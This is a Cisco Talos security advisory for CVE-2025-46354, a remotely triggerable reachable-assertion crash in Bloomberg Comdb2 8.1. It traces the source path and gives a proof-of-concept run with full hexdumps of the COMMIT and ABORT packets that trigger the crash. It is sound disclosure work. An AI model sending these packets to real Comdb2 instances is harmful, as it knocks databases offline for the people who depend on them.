CVE-2025-46354
A denial of service vulnerability exists in the Distributed Transaction Commit/Abort Operation functionality of Bloomberg Comdb2 8.1. A specially crafted network packet can lead to a denial of service. An attacker can send a malicious packet to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Bloomberg Comdb2 8.1
Comdb2 - https://bloomberg.github.io/comdb2/
7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-617 - Reachable Assertion
Comdb2 is an open source, high-availability database that is developed by Bloomberg. It supports features such as clustering, transactions, snapshots, and isolation. The implementation of the database utilizes optimistic locking for concurrent operation.
The Comdb2 database system is based on two major services. The first service, pmux
, is a port multiplexer that is used to dynamically assign port numbers for different instances of the database. This service is implemented via a plaintext protocol and can be queried to identify the TCP port number that a specific database is listening on. The second service is the native comdb2
binary and is run for each instance of the desired database. The comdb2
binary is responsible for registering an available instance to the port multiplexing service. Communication with a Comdb2 instance is primarily handled by exchanging data with the client using the Google’s Protocol Buffers data format over a TCP session.
During startup, the comdb2
binary will execute the following function to assign callbacks that will be dispatched depending on the command initial command that is sent. Thus, when receiving a newline-delimited “newsql” string, the handle_newsql_request_evbuffer
function will be called at [1] in response.
plugins/newsql/newsql_evbuffer.c:1275-1282
static int newsql_init(void *arg)
{
dispatch_base = get_dispatch_event_base();
Pthread_create(&gethostname_thd, NULL, gethostname_fn, NULL);
add_appsock_handler("newsql\n", handle_newsql_request_evbuffer); // [1]
add_appsock_handler("@newsql\n", handle_newsql_admin_request_evbuffer);
return 0;
}
Then, when receiving a connection from a client the following accept_info_new
function will be called. At [2], a new event that calls the do_read
function will be created and dispatched to when the socket fd
is ready for reading.
net/net_evbuffer.c:848-866
static struct accept_info *accept_info_new(netinfo_type *netinfo_ptr, struct sockaddr_in *addr, int fd, int secure,
int badrte)
{
check_base_thd();
if (pending_connections > max_pending_connections) {
close_oldest_pending_connection();
}
++pending_connections;
struct accept_info *a = calloc(1, sizeof(struct accept_info));
a->netinfo_ptr = netinfo_ptr;
a->ss = *addr;
a->fd = fd;
a->secure = secure;
a->badrte = badrte;
a->ev = event_new(base, fd, EV_READ, do_read, a); // [2]
event_add(a->ev, NULL);
TAILQ_INSERT_TAIL(&accept_list, a, entry);
return a;
}
The implementation of the do_read
function is basically a wrapper that reads a newline-delimited string from the socket fd
prior to decoding the protocol buffer required to communicate with the client. First, the do_appsock_evbuffer
function will be called at [3]. This function will process the “appsock” part of the protocol by extracting all the characters at [4], until encountering a newline. At [5], the implementation will check that the string “newsql” was found within the data read from the socket and follow it with another check that sets pbadrte
to 1 and returns if the string “rte “ was found at the beginning. Once those tests have been verified, the entire newline-delimited string will be used at [6] to determine the correct handler callback to use for the rest of the protocol which will then get dispatched at [7].
net/net_evbuffer.c:2912-2949
static void do_read(int fd, short what, void *data)
{
check_base_thd();
struct accept_info *a = data;
struct evbuffer *buf = evbuffer_new();
ssize_t n = evbuffer_read(buf, fd, SBUF2UNGETC_BUF_MAX);
...
uint8_t first_byte;
evbuffer_copyout(buf, &first_byte, 1);
if (first_byte == 0) {
evbuffer_drain(buf, 1);
a->buf = buf;
rd_connect_msg_len(fd, 0, a);
return;
}
...
if ((do_appsock_evbuffer(buf, &ss, fd, 0, secure, &badrte)) == 0) // [3] \
return;
if (badrte)
accept_info_new(netinfo_ptr, &ss, fd, secure, 1);
else
handle_appsock(netinfo_ptr, &ss, first_byte, buf, fd);
}
\
net/net_evbuffer.c:2864-2910
static int do_appsock_evbuffer(struct evbuffer *buf, struct sockaddr_in *ss, int fd, int is_readonly, int secure,
int *pbadrte)
{
struct appsock_info *info = NULL;
struct evbuffer_ptr b = evbuffer_search(buf, "\n", 1, NULL); // [4] Search buffer until newline encountered
...
if (b.pos != -1) {
char key[b.pos + 2];
evbuffer_copyout(buf, key, b.pos + 1);
key[b.pos + 1] = 0;
if (secure && strstr(key, "newsql") == NULL) { // [5] ensure that "newsql" is in line.
logmsg(LOGMSG_ERROR, "appsock '%s' disallowed on secure port\n", key);
return 1;
}
if (strcmp(key, "rte ") == 0) { // [5] ensure that "rte " is in line.
evbuffer_read(buf, fd, -1);
evbuffer_free(buf);
ssize_t rc = write(fd, "0\n", 2);
if (rc == 2 && pbadrte)
*pbadrte = 1;
return 1;
}
info = get_appsock_info(key); // [6] Look up the key that was read.
}
if (info == NULL) return 1;
...
evtimer_once(arg->base, info->cb, arg); /* handle_newsql_request_evbuffer */ // [7] Dispatch to handle_newsql_request_evbuffer
return 0;
}
After finding the correct “appsock” handler and dispatching to it, the following function, handle_newsql_request_evbuffer
, will be called. This function is responsible for signalling the gethostname_cond
condition at [8] which will result in activating the gethostname_fn
function. Afterwards at [9], the “libevent” library will be used to dispatch to the newsql_setup_clnt_evbuffer
function. At the end of the newsql_setup_clnt_evbuffer
function at [10], the implementation will finally call the rd_hdr
function to begin reading the information sent by the client.
plugins/newsql/newsql_evbuffer.c:1261-1266
static void handle_newsql_request_evbuffer(int dummyfd, short what, void *data)
{
struct appsock_handler_arg *arg = data;
arg->admin = 0;
gethostname_enqueue(arg); // [8] Signal a condition
}
\
plugins/newsql/newsql_evbuffer.c:1251-1259
static void gethostname_enqueue(struct appsock_handler_arg *arg)
{
gettimeofday(&arg->start, NULL);
Pthread_mutex_lock(&gethostname_lk);
TAILQ_INSERT_TAIL(&gethostname_list, arg, entry);
++gethostname_ctr;
Pthread_cond_signal(&gethostname_cond); // [8] Signal "gethosname_cond" \\
Pthread_mutex_unlock(&gethostname_lk);
}
\\
plugins/newsql/newsql_evbuffer.c:1208-1249
static void *gethostname_fn(void *arg)
{
int max_pending = 8;
struct timeval start, last_report;
gettimeofday(&last_report, NULL);
comdb2_name_thread("gethostname");
while (1) {
Pthread_mutex_lock(&gethostname_lk);
if (TAILQ_EMPTY(&gethostname_list)) {
Pthread_cond_wait(&gethostname_cond, &gethostname_lk); // [8] Block on "gethostname_cond" condition
}
...
evtimer_once(arg->base, newsql_setup_clnt_evbuffer, arg); // [9] \ Dispatch into newsql_setup_clnt_evbuffer
}
}
\
plugins/newsql/newsql_evbuffer.c:1139-1200
static void newsql_setup_clnt_evbuffer(int fd, short what, void *data)
{
struct appsock_handler_arg *arg = data;
...
newsql_setup_clnt(clnt);
plugin_set_callbacks_newsql(evbuffer);
if (add_appsock_connection_evbuffer(clnt) != 0) {
exhausted_appsock_connections(clnt);
free_newsql_appdata_evbuffer(-1, 0, appdata);
} else {
rd_hdr(-1, 0, appdata); // [10] read header
}
free(arg);
}
The function, rd_hdr
, is then responsible for initially reading the header for the entire packet. The structure of the header is composed of four 32-bit integers that are encoded in network byte order. At [11], the length of data that is available for the socket is verified that it has enough space to include the header structure, newsqlheader
. After reading enough data from the socket, each field of the header structure will be converted to the host byte order before being used at [12]. Once the length from the header is decoded at [13], the rd_hdr
function will call rd_payload
at [14] to decode the protocol buffer that comes after the newsqlheader
.
cdb2api/cdb2api.c:948-953
struct newsqlheader {
int type;
int compression;
int state; /* query state */
int length;
};
plugins/newsql/newsql_evbuffer.c:888-910
static void rd_hdr(int dummyfd, short what, void *arg)
{
struct newsqlheader hdr;
struct newsql_appdata_evbuffer *appdata = arg;
if (evbuffer_get_length(appdata->rd_buf) >= sizeof(struct newsqlheader)) {
goto hdr; // [11] check length before reading the header.
}
...
hdr:
evbuffer_remove(appdata->rd_buf, &hdr, sizeof(struct newsqlheader));
appdata->hdr.type = ntohl(hdr.type); // [12] Decode the type from the newsqlheader
appdata->hdr.compression = ntohl(hdr.compression); // [12] Decode the compression type (unused) from the newsqlheader
appdata->hdr.state = ntohl(hdr.state); // [12] Decode the state from the header (unused)
appdata->hdr.length = ntohl(hdr.length); // [13] Decode the protocol buffer length
rd_payload(-1, 0, appdata); // [14] Read the protocol buffer payload
}
The following function, rd_payload
, is directly responsible for decoding a protocol buffer that was sent by the client. This function is similar to rd_hdr
in that it checks the length of data that is available and then proceeds to read the contents of its payload from socket. At [14], the length that was read earlier from the header is used with the evbuffer_pullup
function at [15] to read the entire serialized protocol buffer data into the query
variable of type CDB2QUERY
. At [16], this populated structure is then passed to the process_newsql_payload
function.
plugins/newsql/newsql_evbuffer.c:860-886
static void rd_payload(int dummyfd, short what, void *arg)
{
CDB2QUERY *query = NULL;
struct newsql_appdata_evbuffer *appdata = arg;
if (evbuffer_get_length(appdata->rd_buf) >= appdata->hdr.length) {
goto payload;
}
...
payload:
if (appdata->hdr.length) {
int len = appdata->hdr.length; // [14] get length from header.
void *data = evbuffer_pullup(appdata->rd_buf, len); // [15] read entire packet from client
if (data == NULL || (query = cdb2__query__unpack(&pb_alloc, len, data)) == NULL) {
newsql_cleanup(appdata);
return;
}
evbuffer_drain(appdata->rd_buf, len);
}
process_newsql_payload(appdata, query); // [16] process deserialized protocol buffer
}
The implementation of the process_newsql_payload
function is directly responsible for reading a query that is submitted by a client. This is done by using the “type” field from the header to determine the query request type and dispatch to the correct function. Specifically, the process_cdb2query
function is called at [17] to process a query request.
plugins/newsql/newsql_evbuffer.c:839-858
static void process_newsql_payload(struct newsql_appdata_evbuffer *appdata, CDB2QUERY *query)
{
rem_lru_evbuffer(&appdata->clnt); /* going to work; not eligible for shutdown */
switch (appdata->hdr.type) {
case CDB2_REQUEST_TYPE__CDB2QUERY:
process_cdb2query(appdata, query); // [17] process the actual query
break;
case CDB2_REQUEST_TYPE__RESET:
newsql_reset_evbuffer(appdata);
evtimer_once(appdata->base, rd_hdr, appdata);
break;
case CDB2_REQUEST_TYPE__SSLCONN:
process_ssl_request(appdata);
break;
default:
logmsg(LOGMSG_ERROR, "%s bad type:%d fd:%d\n", __func__, appdata->hdr.type, appdata->fd);
newsql_cleanup(appdata);
break;
}
}
The following function, process_cdb2query
contains the logic that is responsible for decoding the CDB2QUERY
type into its corresponding fields from the protocol buffer sent by the client. At [18] and [19], the implementation will dereference the “disttxn” and “dbinfo” fields from the protocol buffer. If neither of these fields have been included, the implementation will then pass the entire query to the process_query
function at [20].
plugins/newsql/newsql_evbuffer.c:707-732
static void process_cdb2query(struct newsql_appdata_evbuffer *appdata, CDB2QUERY *query)
{
if (!query) {
newsql_cleanup(appdata);
return;
}
CDB2DISTTXN *disttxn = query->disttxn; // [18] Dereference the "disttxn" field of the protocol buffer
CDB2DBINFO *dbinfo = query->dbinfo; // [19] Dereference the "dbinfo" field of the protocol buffer
if (!dbinfo && !disttxn) {
appdata->query = query;
process_query(appdata); // [20] Process the "query" field of the protocol buffer
return;
}
if (dbinfo) { // [19] Process the "dbinfo" field of the protocol buffer
if (dbinfo->has_want_effects && dbinfo->want_effects) {
process_get_effects(appdata);
} else {
process_dbinfo(appdata);
}
}
if (disttxn) { // [18] Process the "disttxn" field of the protocol buffer
process_disttxn(appdata, disttxn);
}
cdb2__query__free_unpacked(query, &pb_alloc);
}
The following is a description of the CDB2DISTTXN
protocol buffer message that is referenced by the “disttxn” field. In this message at [21] is an optional field, “disttxn”, that contains a value of the nested Disttxn
protocol buffer message at [22]. The Disttxn
protocol buffer message contains only three required fields with the rest being treated as optional. If an optional field is not included, the deserialization of the protocol buffer will either set the field’s value to NULL
or clear a flag so that an implementer can know that the field was not included.
message CDB2_DISTTXN {
required string dbname = 1;
message Disttxn { // [22] "Disttxn" protocol buffer message
required int32 operation = 1;
required bool async = 2;
required string txnid = 3;
optional string name = 4;
optional string tier = 5;
optional string master = 6;
optional int32 rcode = 7;
optional int32 outrc = 8;
optional string errmsg = 9;
}
optional Disttxn disttxn = 2; // [21] "disttxn"
}
When processing the “disttxn” field from the CDB2QUERY
type, the following process_disttxn
function will be used. This function will use the “operation” field found in the CDB2DISTTXN
protocol buffer to determine the case that will be responsible for performing an operation. At [23], the “COMMIT” and “ABORT” operations that are directly related to this vulnerability are called.
plugins/newsql/newsql_evbuffer.c:633-705
static void process_disttxn(struct newsql_appdata_evbuffer *appdata, CDB2DISTTXN *disttxn)
{
struct evbuffer *buf = sql_wrbuf(appdata->writer);
CDB2DISTTXNRESPONSE response = CDB2__DISTTXNRESPONSE__INIT;
int rcode = 0;
if (!bdb_amimaster(thedb->bdb_env) || bdb_lock_desired(thedb->bdb_env)) {
rcode = -1;
goto sendresponse;
}
switch (disttxn->disttxn->operation) {
...
/* Coordinator master tells me (participant master) to commit */
case (CDB2_DIST__COMMIT): // [23] process the "COMMIT" operation
rcode = coordinator_committed(disttxn->disttxn->txnid);
break;
/* Coordinator master tells me (participant master) to abort */
case (CDB2_DIST__ABORT): // [23] process the "ABORT" operation
rcode = coordinator_aborted(disttxn->disttxn->txnid);
break;
...
}
...
}
The following snippet is the implementation of the coordinator_committed
function that is used for the “COMMIT” operation specified by the CDB2DISTTXN
protocol buffer. This function uses the transaction id that was decoded from the client in order to find a “participant” using the participant_hash
hash table at [24]. Once a “participant” has been found/added and stored in the variable p
, the implementation will update its “state” field with the value I_AM_COMMITTED
. This specific “state” is inherent to the denial-of-service described by this document.
db/disttxn.c:2077-2110
int coordinator_committed(const char *dist_txnid)
{
if (gbl_debug_disttxn_trace) {
logmsg(LOGMSG_USER, "DISTTXN %s dist_txnid %s\n", __func__, dist_txnid);
}
Pthread_mutex_lock(&part_lk);
participant_t *p = hash_find(participant_hash, &dist_txnid); // [24] use transaction id
if (!p) {
p = add_participant_lk(dist_txnid, I_AM_COMMITTED);
...
}
Pthread_mutex_lock(&p->lk);
Pthread_mutex_unlock(&part_lk);
assert(p->state != I_AM_ABORTED);
p->state = I_AM_COMMITTED; // [25] update the state for the participant
Pthread_cond_signal(&p->cd);
Pthread_mutex_unlock(&p->lk);
return 0;
}
The following snippet is the implementation of the coordinator_aborted
function that is used for the “ABORT” operation specified by the CDB2DISTTXN
protocol buffer. This function is similar to the prior coordinator_committed
function in that it uses the decoded transaction id in order to find a “participant” using the participant_hash
table at [26]. After a matching participant has been found, the discovered participant will be signalled to abort the transaction. However, if the participant state is already set to I_AM_COMMITTED
then at [27] the function will call the abort(3)
function terminating the comdb2
process.
db/disttxn.c:2025-2074
int coordinator_aborted(const char *dist_txnid)
{
...
Pthread_mutex_lock(&part_lk);
participant_t *p = hash_find(participant_hash, &dist_txnid); // [26] use the transaction id
if (!p) {
...
/* Add this as aborted */
Pthread_mutex_lock(&part_lk);
p = hash_find(participant_hash, &dist_txnid); // [26] use the transaction id
...
}
/* Signal participant */
Pthread_mutex_lock(&p->lk);
Pthread_mutex_unlock(&part_lk);
if (p->state == I_AM_COMMITTED) { // [27] check "I_AM_COMMITTED" state
logmsg(LOGMSG_FATAL, "%s committed txn %s told to abort?\n", __func__, dist_txnid);
abort(); // [27] abort()
}
...
return 0;
}
Due to the ability of the client being able to specify any transaction id for the “COMMIT” operation, a remote client can control the “state” flag for the participant setting it to I_AM_COMMITTED
. Afterwards, when using the same transaction id with the “ABORT” operation, the condition at [27] can be triggered resulting in a controlled abort(3)
of the process causing a denial-of-service.
In the following snippet, the proof of concept is being run against the database that is listening on localhost.
$ python poc.zip localhost
enumerating services from localhost via pmux...
discovered 1 service:
[1] comdb2/replication/testdb : tcp/19000
selected service at index 1 : {'port': '19000', 'name': 'comdb2/replication/testdb'}
connecting to localhost:19000
[20250513192829.842] <psocket.py+440> INFO psocket.SendContext :> Sending appsock.newsql (7 bytes)...
[20250513192829.842] <psocket.py+442> INFO psocket.SendContext :- Sent appsock.newsql (7 bytes).
[20250513192829.879] <psocket.py+440> INFO psocket.SendContext :> Sending cdb2_query (66 bytes)...
[20250513192829.880] <psocket.py+442> INFO psocket.SendContext :- Sent cdb2_query (66 bytes).
[20250513192829.887] <psocket.py+490> INFO psocket.ReceiveContext <: Received cdb2_response (COMMIT) (27 bytes).
received a response:
<class comdb2.newsql_response> 'unnamed_7fa0a5d74dd0' {unnamed=True}
[0] <instance comdb2.newsql_response_header 'header'> type=DISTTXN_RESPONSE(0x3f3) : compression=0x00000000 : state=0x00000000
[c] <instance be(comdb2.int) 'length'> 0x0000000b (11)
[10] <instance c(protobuf.MESSAGE) 'payload'> protobuf.TAGVALUE[1] "\x08\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01"
[1b] <instance ptype.block 'extra'> ...
fields found within response:
[10] <instance protobuf.TAGVALUE '0'> tag.fieldnum=1 tag.wiretype=VARINT(0x00) value=[ffffffffffffffffff01] -> 18446744073709551615 (0xffffffffffffffff)
[20250513192829.932] <psocket.py+440> INFO psocket.SendContext :> Sending cdb2_query (ABORT) (66 bytes)...
[20250513192829.932] <psocket.py+442> INFO psocket.SendContext :- Sent cdb2_query (ABORT) (66 bytes).
finished transmission.
The following is the output of the process when running the proof-of-concept.
bdb_open_int line 6103 calling rep_start as master with egen 434
new_master_callback_int: master:.invalid->ce66cbfc0193 old-gen:0->434 old-egen:0->435
I AM NEW MASTER NODE ce66cbfc0193
Collecting table aliases
user authentication disabled (bdberr: 15)
DBA user 'dba' already exists
hostname:ce66cbfc0193 cname:ce66cbfc0193
I AM READY.
[FATAL] coordinator_aborted committed txn (?;J]kphgS}>MM5u&Ba=$>Ob(rkbxS1j told to abort?
Aborted
In order to run the proof-of-concept, a database instance must be created in order to run the comdb2
service. The database will then be registered into the pmux
service when it starts up.
After everything is loaded, the pmux
service listens on port 5105 by default. This service allows one to query a list of the databases that have been registered and determine their port number.
To use the proof-of-concept, Python must be available. The proof-of-concept has two variations of connecting to the target database. The first variation connects to the pmux
service and picks the first database that is available. This is selected using the “–pmux” option followed by the hostname that the pmux
service is listening on. The following command line connects to the pmux service at “hostname” using the default port (5105/tcp).
$ python poc.zip --pmux hostname
The second variation will connect directly to the database port and requires the user to specify the database name using the “-b” parameter. The following command line will connect to the database named “testdb” at “hostname” on port 19000.
$ python poc.zip -b testdb hostname:19000
When running the first variation of the proof-of-concept, a client will likely query the pmux
service to determine the port number associated with a database instance. The pmux
service is a plain-text and newline-delimited protocol. The following 5-byte packet requests the pmux
service to list all of the ports that are being used by databases.
[0] <instance pmux.command<char_t> 'unnamed_7fc42d465c70'> {unnamed=True} (5) 'used\n'
Afterwards, the pmux
service will respond with the list of database instances that are available. If one database named “testdb” is currently instantiated, the response will look like the following.
[0] <instance pmux.newlined<char_t> 'unnamed_7fc41d7dfe90'> {unnamed=True} (44) 'port 19000 name comdb2/replication/testdb\n'
Once the port number for the target database instance has been determined, the proof-of-concept will send a header that is used to encapsulate a protocol buffer message. This header has the following format. Within the header, only the 32-bit “type” field is used. This type can be 1, 2, 3, 108, or 121. The proof-of-concept triggers this vulnerability by setting the “type” to 1.
<class comdb2.newsql_request_header> 'header'
[0] <instance be(comdb2.sqlquery.CDB2RequestType) 'type'> CDB2QUERY(0x1)
[4] <instance be(comdb2.int) 'compression'> 0x00000000 (0)
[8] <instance be(comdb2.int) 'state'> 0x00000000 (0)
After the header, a 32-bit length field will be sent along with the protocol buffer payload. This has the following layout.
<class comdb2.newsql_request> 'unnamed_7fc41d7b62d0' {unnamed=True}
[0] <instance comdb2.newsql_request_header 'header'> type=CDB2QUERY(0x1) : compression=0x00000000 : state=0x00000000
[c] <instance be(comdb2.int) 'length'> 0x00000032 (50)
[10] <instance protobuf.MESSAGE 'payload'> protobuf.TAGVALUE[1] "\x22\x30\x0a\x06\x74\x65\x73\x74\x64\x62\x12\x26\x08\x05\x10\x00\x1a\x20\x22\x5d\x2f\x61\x37\x55\x5b\x4c\x49\x69\x73\x46\x66\x40\x26\x3c\x47\x4a\x3a\x5d\x28\x38\x49\x4a\x37\x47\x7b\x5a\x5e\x6e\x42\x38"
The protocol buffer payload has the following format. In the CDB2_DISTTXN
protocol message, the most important field is the “Disttxn.operation” field which can be one of the values defined by CDB2Dist
. The first packet uses the “COMMIT” operation. Relevant to the vulnerability is the “Disttxn.txnid” field. This field is usually a UUID, but can be any number of bytes supported by a protocol buffer. This transaction number will be reused when sending the second packet.
comdb2/protobuf/sqlquery.proto:143-148
message CDB2_QUERY {
optional CDB2_SQLQUERY sqlquery = 1;
optional CDB2_DBINFO dbinfo = 2;
optional string spcmd = 3;
optional CDB2_DISTTXN disttxn = 4;
}
comdb2/protobuf/sqlquery.proto:43-53
enum CDB2Dist {
PREPARE = 1;
DISCARD = 2;
PREPARED = 3;
FAILED_PREPARE = 4;
COMMIT = 5;
ABORT = 6;
PROPAGATED = 7;
HEARTBEAT = 8;
}
comdb2/protobuf/sqlquery.proto:127-142
message CDB2_DISTTXN {
required string dbname = 1;
message Disttxn {
required int32 operation = 1;
required bool async = 2;
required string txnid = 3;
optional string name = 4;
optional string tier = 5;
optional string master = 6;
optional int32 rcode = 7;
optional int32 outrc = 8;
optional string errmsg = 9;
}
optional Disttxn disttxn = 2;
}
Once the first packet has been sent, a packet in the same format will be returned by the server. This header has the following format. Within the response header, only the 32-bit “type” field is used. This type can be 205, 1002, 1005, 1006, 1007, 1008, 1009, 1010, 1011, or 1012. In response to the proof-of-concept, the “type” 1011 is used.
<class comdb2.newsql_response_header> 'header'
[0] <instance be(comdb2.sqlresponse.ResponseHeader) 'type'> DISTTXN_RESPONSE(0x3f3)
[4] <instance be(comdb2.int) 'compression'> 0x00000000 (0)
[8] <instance be(comdb2.int) 'state'> 0x00000000 (0)
After the server has sent the header, a 32-bit length followed by a protocol buffer payload is sent back to the client.
<class comdb2.newsql_response> 'unnamed_7fc41d7b7bf0' {unnamed=True}
[0] <instance comdb2.newsql_response_header 'header'> type=DISTTXN_RESPONSE(0x3f3) : compression=0x00000000 : state=0x00000000
[c] <instance be(comdb2.int) 'length'> 0x0000000b (11)
[10] <instance c(protobuf.MESSAGE) 'payload'> protobuf.TAGVALUE[1] "\x08\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01"
Next, the proof-of-concept sends the second packet. The protocol buffer payload for the second packet reuses the same transaction id that was set in the “txnid” field. In the proof-of-concept, the only difference between the first and second packets is that the operation has been changed to “ABORT”. If the protocol buffer for the first “COMMIT” packet is followed immediately by an “ABORT” packet with the same transaction number, then this vulnerability is being triggered.
The following is a hexdump of the first “COMMIT” packet being sent to the database instance “testdb” with a 32-byte random transaction id.
00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 32 ...............2
10 22 30 0a 06 74 65 73 74 64 62 12 26 08 05 10 00 "0..testdb.&....
20 1a 20 22 5d 2f 61 37 55 5b 4c 49 69 73 46 66 40 . "]/a7U[LIisFf@
30 26 3c 47 4a 3a 5d 28 38 49 4a 37 47 7b 5a 5e 6e &<GJ:](8IJ7G{Z^n
40 42 38 B8
The following is a hexdump of the second “ABORT” packet being sent to the same database instance “testdb” with the same 32-byte transaction id.
00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 32 ...............2
10 22 30 0a 06 74 65 73 74 64 62 12 26 08 06 10 00 "0..testdb.&....
20 1a 20 22 5d 2f 61 37 55 5b 4c 49 69 73 46 66 40 . "]/a7U[LIisFf@
30 26 3c 47 4a 3a 5d 28 38 49 4a 37 47 7b 5a 5e 6e &<GJ:](8IJ7G{Z^n
40 42 38 B8
2025-06-02 - Initial Vendor Contact
2025-06-05 - Vendor Disclosure
2025-06-09 - Vendor Patch Release
2025-07-22 - Public Release
Discovered by a member of Cisco Talos.